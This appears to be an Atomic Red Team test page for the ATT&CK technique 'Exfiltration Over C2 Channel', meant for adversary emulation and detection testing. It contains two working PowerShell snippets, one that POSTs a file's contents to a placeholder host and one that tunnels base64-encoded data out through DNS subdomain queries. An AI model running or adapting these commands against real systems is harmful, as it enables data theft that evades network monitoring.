T1041 - Exfiltration Over C2 Channel

Description from ATT&CK

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

Atomic Tests


Atomic Test #1 - C2 Data Exfiltration

Exfiltrates a file present on the victim machine to the C2 server.

Supported Platforms: Windows

auto_generated_guid: d1253f6e-c29b-49dc-b466-2147a6191932

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | destination_url | Destination URL to post encoded data. | string | example.com| | filepath | The file which is being exfiltrated to the C2 Server. | path | $env:TEMP\LineNumbers.txt|

Attack Commands: Run with 
1

powershell
!

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if(-not (Test-Path #{filepath})){ 
  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive



Atomic Test #2 - Text Based Data Exfiltration using DNS subdomains

Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.

Supported Platforms: Windows

auto_generated_guid: c9207f3e-213d-4cc7-ad2a-7697a7237df9

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | dns_server | DNS server IP address or domain name. | url | dns.example.com| | exfiltrated_data | Data to be exfiltrated. | string | SecretDataToExfiltrate| | chunk_size | Size of each DNS query chunk (in characters). | integer | 63|

Attack Commands: Run with 
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powershell
!

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$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}

$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"

foreach ($chunk in $chunks) {
    $dnsQuery = $chunk + "." + $dnsServer
    Resolve-DnsName -Name $dnsQuery
    Start-Sleep -Seconds 5
}